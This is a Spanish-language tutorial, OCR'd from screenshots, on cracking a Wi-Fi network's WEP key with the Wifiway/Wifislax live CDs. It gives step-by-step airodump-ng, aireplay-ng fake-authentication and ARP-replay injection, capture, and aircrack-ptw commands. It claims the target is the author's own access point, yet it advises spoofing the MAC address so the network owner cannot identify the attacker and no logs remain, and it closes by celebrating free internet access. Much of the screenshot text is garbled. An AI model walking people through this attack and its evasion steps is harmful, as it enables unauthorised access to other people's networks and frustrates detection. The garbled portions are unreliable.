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Seguridad Wireless: Wifiway 0.8 y Wifislax 3.1

Wifiway 0.8 y Wifislax 3.1,

En este documento se muestran dos herramientas para testear la seguridad de tu red
inaldmbrica, personalmente para mi las dos mejores que hay, son unos LiveCD, basta con
reiniciar con ellos para hackear una red wifi, en este caso veremos cémo comprobar la
seguridad de nuestra propia red, no lo usaremos para robar claves a los vecinos ni nada del
estilo.

Primero, mirar si nuestro adaptador inaldmbrico puede inyectar, en este listado podremos
comprobar si nuestra tarjeta de red wifi puede hackear redes wifi o no- AKI.

Segundo, descargarnos la versidon que mas nos interese, Wifiway 0.8 o Wifislax 3.1.
Después, la grabamos a un CD o un pendrive y arrancamos el PC o portatil que tenga un
dispositivo inaldmbrico que pueda inyectar.

Asi que en este ejemplo, veremos como desde un portatil con la tarjeta Intel(R) PRO/Wireless
3945ABG Network Connection podemos descifrar la clave WEP de uno de mis vecinos (que no!
es broma, atacaré a mi AP), asi que meto el CD de Wifiway en mi portatil y arranco desde él,

Configure system clock
Select your timezone from the list below

Europe-Luxembouryg
Europe-Malta
Europe-Mariehamn
Europe-Minzk
Europe-Monaco
Europe-Moscow
Europe-Nico=ia
Europersl=zlo
Europe-Pari=s
Europe-FPrague
Europe-Riga
Europe-Rome
Europe-3amara
Europe-3an_Marino
Europe-3ara_jeuvo
Europe-s3imferopol
Europe-3Skop_je
Europe-3ofia
Europe-Stockholm
Europe-Tallinn
Europe-Tirane

<Cancel>

Durante el arranque, debemos indicarle una serie de datos, cdmo la zona horaria, en mi caso
selecciono "Europe/Madrid" & "OK",
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Configure system clock
Is= the system clock =et
to local time or to GMT?

<Localtinc>R SN

"Localtime"

Regional settings
Choose your locale

Rus=zian (CP1251)

Ruszian (KDIB-R)

Rus=zian (UTF-8)

Slovak, QUERTZ keyboard (IS0-8859-2)
Slovak, QUERTZ keyboard (UTF-8)
Slovak, QUERTY keyboard (IS0-8859-2)
Slovak, QUERTY keyboard (UTF-8)
Spanish (IS0-8859-15)

Spanish (UTF-8)

Spanish, Mexico (I50-8859-1)
Spanish, Mexico (UTF-8)

Suedish (I50-B859-1)

Suedish (UTF-8)

Thai (TIS-620)

Thai C(UTF-8)

Turkizh, F keyboard C(IS0-8859-9)
Turkizh, F keyboard (UTF-8)
Turkizh, § keyboard C(IS0-8859-9)
Turkizh, § keyboard (UTF-8)
Ukrainian (ROIS-1)

Ukrainian (UTF-8)

{Cancel>

Seleccionamos la configuraciéon regional, para el teclado... "Spanish (ISO-8859-1)" & "OK",
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Confirm-edit settings
Please review and, if necessary, edit the settings below.

Keymap autoconversion iz used only together with UTF-8 locales. If you
don’t need to convert your keymap to UTF-8 (e.g. because it is already in
UTF-8, or because you don’t want UTF-8), don’t fill in that field.

In order to enhance Unicode coverage of the Linux console at the cost of
unavailable bright colors, use the LatArCyrHeb-16 font.

Locale:
Console keymap:
autoconverted from charset:
Console font:

X keymap:

IIOK"

The system has been loaded correctly.
startx ... to start the environment Xwindow in mode default
autox ... to configure antomatic the environment XUWindow
reboot ... for reboot the system
poweroff ... for turned off system
The content of the CD iz exclusive for the work of development that we are
realizing in www.zeguridadwireles=z.net to have an exclusive live.

ex: ntfs-3g ~dev-hd®¥X smnt-win for read-urite acces windous

wif iway login: root (automatic login)d
MET: Registered protocol family 18
lo: Disabled Privacy Extenszions
wifiway:"# startx

Bien, Wifiway ya ha arrancado, ahora basta con ejecutar los comandos o si eres un usuario
torpecillo, podemos usar el entorno X, para ello ejecutamos: "startx",
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Terminal

m |4l

ichero Editar Vista Terminal Ir Ayuda

& CF B EHX «» |8

wifiway: ~# ipw3945_es.sh l

Ahora, en mi caso cargaré con un script que trae los drivers y configuracion para mi
adaptador, ejecutando. ipw3945_es.sh

S ?ﬁ-’?‘ﬁﬁﬁ: ...................

ichero Editar Vista Terminal Ir Ayuda

HEX ¢« -

ol

9

s5. nat

Por favor introduce el canal para la wifid
[

Indique

2

Indique

comunicado algun error en el apartado anterior, pues repita el proce

al for seguridadwireless. net

wifiway: ~# ]

)

Al ejecutar este script me pide el canal para la interfaz wifi0 (en este caso metemos uno
cualquiera, x ejemplo 6), indicamos el rate de captura (2) y debemos meter la MAC del AP a
atacar, pero por ahora metemos: 00:11:22:33:44:55.
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Editar Vista Terminal Ir Ayuda

D HEHX ¢«=» d

wif Lway: ~# airodump-ng 'n'ifiE.

o

Con los drivers ya cargados y con el comando "air

odump-ng wifi0" veremos las redes wifi que

detecta nuestro adaptador y veremos los datos que necesitemos.

Jerminal.

= 0X

i
)
]
+
i1}

ENC

in

=]

. WPA
WEP
. WEP
. WEP
0PN
. WEP

(Y=o}
[N o o |

)
b

[ I I T
Lo Wi o ]

o

PHR  Lost Packets
-1

L -1

e o e -1

Qa: 15: F2:

\

CIPHER AUTH ESSID
CCMP  PSK
WEF
WEP
WEP

WLAM_C2
WLAN_HHH
<1 th:
WLAN_52

=
WEF

Probes

GOYOAGA
2458193454

Nos muestra todas las redes wifi que detecta, seleccionamos una a atacar (la nuestra!), asi
que debemos apuntar x ahi su direccion MAC (BSSID), el canal (CH) y el nombre de la red

(ESSID), en este caso atacaremos el AP de WLAN_

(00:02:CF:66:92:XX) y su canal (8).
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m |4l

ichero Editar Wista Terminal

3 Cd B X

wifiway: ~# ipw3945_es.sh l

Ir Ayuda

@ » | g

Ahora de nuevo ejecutamos el script para cambiar el canal y meter la MAC del AP que
atacaremos... asi que ejecutamos de nuevo "ipw3945_es.sh"

% = EI lerminal |— ] 3¢
Fichero Editar Vista Terminal Ir Ayuda
EX @ »
ocliads, separade por puntos (Ej: 00:11:22
wifiway: ~# I
\ L

Introducimos el canal del AP, que es el 8, introducimos el rate de captura (siempre 2), e
introducimos ahora la MAC del AP (00:02:CF:66:92:XX), y asi ya estamos preparados para

inyectar cddigo!
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'Ff?]???-ﬁﬁ, ------------------------------------------------------------------------------------------- G

ichero Editar Vista Terminal Ir Ayuda
] X | @ » (&

F: GG 92:

nlfln.:l."'-rr .=|.1.r'--|:-'| ay-ndg -1 0 -a 'ﬁ'L"” 52 -a 00:02:C

3 -k 08:1C: BF: TA: ES:

G wificl

| — )

Bien, ahora nos vamos a asociar al AP con el ataque n1, con el siguiente comando:
"aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC wifi0"

Ojo, se recomienda cambiar la direccidn MAC nuestra, para que en el caso que vea que le
estan atacando que no sepa quien es y no puedan quedar registros nuestros, o si directamente
tiene un filtro de MAC habilitado su AP, para ponernos una MAC de un cliente suyo (veremos
quien se conecta con airodump-ng), todo esto con MACCHANGER -m MAC_NUEVA wifiO.

= : T :
E

ichero Editar Vista Terminal |r Ayuda

e%@m@l
2 -h BO:1C: BF: TA: ES:

ﬁd1+1nq o : 102 CF: . m)
Sending Auth
Authentica

Perfecto! nos autentica bien, si no lo haria es por que estamos lejos del AP o pq tiene un filtro
MAC habilitado y deberiamos cambiarnos nuestra MAC. Esto significa que el AP aceptara todo
el trafico que se le mande encriptado con WEP, asi que capturaremos paquetes cifrados con su
WEP y se los reenviaremos, y los copiaremos a nuestro HD para luego sacar la clave de ahi,

=

Fichero Editar Vista Terminal
= r.L

B

wifiway: ~# aireplay-ng -3

Ir Ayuda

%@@m@l

-b B@: 02: CF: 66: §

-h @@: 1C; BF: 7A: ES: wifi@ =

\

Ahora es cuando realmente inyectaremos paquetes al AP para generar trafico y poder
conseguir trafico ARP, que nos servira para inyectar mas trafico, y cuanto mas trafico
tengamos, mas facil de sacar la clave WEP. Asi que con el comando: "aireplay-ng -3 -b
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MAC_AP -h MI_MAC wifi0" lo conseguiremos,

nina

m |4

ichero Editar Vista Terminal |r Ayuda

D ) B
Xl @
wif iway: ~# .:Iir"-'l:l.ﬂ.-rll:l -3 -b 0G:02:CF: 66; 92; -k 00:1C:BF: 7
an.nq ARP ruquests in replay_arp-8511-832839. cap

E start airodump-ng to -:Eq_-tur'-- rep

{got @ ARF requests),

Esperamos mientras intenta inyectar para generar trafico... vemos que ARP requests esta a 0,
le damos unos segundos y veremos cOmo empieza a correr!

ichero Editar Vista Terminal Ir Ayuda

%@'@

nifin.:l. i .=|.1.r'--|:-.-|.-ru:| -3 -h 0G:082:CF: 66: 92;

Sawving ARP r"!:qLJEEtE in r'-ﬂplay arp-0311-032039. cap

You sho E = 0 L 1 .

iead 10 : ( ARP req ] t 49647 packets. .. (267 pps)

Bien, ya empieza a subir! ahora debemos grabar todo el trafico.

P r:l-_'.r.-'m:ra?nrrarmnnnn:n:rnnnnnnnnnnnnﬂ

........................ _Ox

Ermina

o |
8

ichero Editar Vista Terminal Ir Ayuda

B EX «» | O

wifiway: ~# airodump-ng -w Stmpsdump r'tapEl -

L

Abrimos un nuevo terminal, y vamos a grabar el trafico, para ello, lo haremos con el comando
"airodump-ng -w /tmp/dump rtapQ"
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SR
FELLIIEELE

e
=
E

chero

Editar

Vista Terminal Ir Ayuda

1-05-11 208:52
#Data,

6]
143168

PNR Lost

a
@
9]
a
a

a
¢}
a
a
a

ENC

. WEP

CIPHER AUTH ESSID

Iﬁl E FI
WEP
WEP

WLAN_ HHH
WLAN_S
WLAN_C

2
2

Probes

Y aqui veremos que empieza a subir el valor de Data, necesitamos 200.000 paquetes de datos
para claves de 64bits 0 400.000 para claves de 128 bits, en 15 minutos tendremos

suficientes...

=

o |

ichero Editar Mista Terminal Ir Ayuda

B EX ¢

Eld

new

inform
ating

=l

Salircrack-ptw/

Y con el comando "aircrack-ptw /tmp/dump-01.cap" podremos sacar la clave WEP de la red
wifi... en un par de segundos la tendremos! "Found key...", bien, ahora tenemos la clave en
Hexadecimal, la tenemos que pasar a ASCII para conectarnos a la red wifi, aunq creo recordar

g tmb la podremos meter en Hexadecimal...
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H HEXwrite - HEX to ASCII mode —|0O] x|
Project  Mode

Z0002CF57IEC2

BA-30:30:30:32:43:46:35:37:39:45:43:32 _ﬂ

Clear Al Copy ASCII | B |

De todas formas existen muchos programas o webs que te cambian de Hexadecimal a ASCII,
y listo, ya es conectarse a la red wifi y suministrar la clave que acabamos de sacar, ya

podemos navegar por internet gratis! P-)

www.bujarra.com - Héctor Herrero - nheobug@bujarra.com - v 1.0
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